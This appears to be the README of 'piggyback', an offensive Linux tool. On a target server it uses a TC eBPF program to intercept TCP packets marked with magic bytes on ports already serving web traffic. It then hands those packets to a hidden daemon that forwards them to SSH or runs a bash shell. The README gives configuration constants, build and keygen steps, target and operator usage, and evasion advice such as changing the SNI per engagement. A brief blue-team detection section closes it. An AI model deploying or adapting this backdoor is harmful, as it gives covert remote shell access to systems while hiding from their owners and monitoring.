5.5 KiB
piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, and forwards or executes them. Normal traffic is unaffected. Zero changes to existing services.
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header][payload] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
Mode 2 is identical server-side. Client establishes real TLS with a configurable SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root /
CAP_NET_ADMIN+CAP_BPF libbpf,clang,llvm,bpftool,libsodium,libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
Configuration
All config is compile-time. Edit the constants at the top of each file, then make.
piggyback.bpf.c — eBPF kernel program
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
piggyback.c — server daemon
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match eBPF PORTS array
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
#define VERBOSE 0
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
pb-client.c — client
#define SERVER_IP "1.2.3.4"
#define SERVER_PORT 80
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // required for MODE_TLS — change per engagement
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
#define TARGET_PORT 22
#define SHELL_CMD "bash" // (ACTION_SHELL)
SNI note: using the same SNI across deployments is a fingerprint. Change per engagement.
Build
make
Generate Ed25519 keypair (for auth)
make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
Usage
# Server (target machine)
sudo ./piggyback
# Client (operator machine)
./pb-client
# Then connect locally
ssh -p 2222 user@localhost
No CLI flags — all config is baked into the binary at compile time.
Auth flow (AUTH_ENABLED=1)
make keygen— generate Ed25519 keypair- Set
TRUSTED_PUBKEYinpiggyback.c,AUTH_ENABLED=1, recompile daemon - Set
KEY_PATHinpb-client.c, recompile client - Client sends:
MAGIC(6 bytes) + signed 80-byte header + optional shell cmd - Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
- On pass: dispatches action from header (
ACTION_FORWARDorACTION_SHELL) - On fail: connection dropped silently
Signed header format (80 bytes):
[0..7] unix timestamp, big-endian uint64
[8] action (0x01 = forward, 0x02 = shell)
[9..12] target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
Signature covers SERVER_IP — a captured packet cannot be replayed to a different host.
Detection (Blue Team)
tc filter show dev eth0 ingress # TC eBPF filters on interface
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
Baseline bpftool prog list on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
Known Limitations
- ACTION_FORWARD target is IPv4 only — the signed header has 4 bytes for target IP; IPv6 forward targets require header format extension
- Replay ring is size-bounded — 256 entries evicted by overwrite, not by time expiry; with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
- sk_lookup may fail on some kernels — daemon logs a warning and falls back to connect-back mode (works except behind strict NAT)
- Magic must fit in first ~6 TCP payload bytes — split across segments handled by per-connection eBPF state machine, but only within a 6-byte sliding window per packet; edge cases with very small MSS possible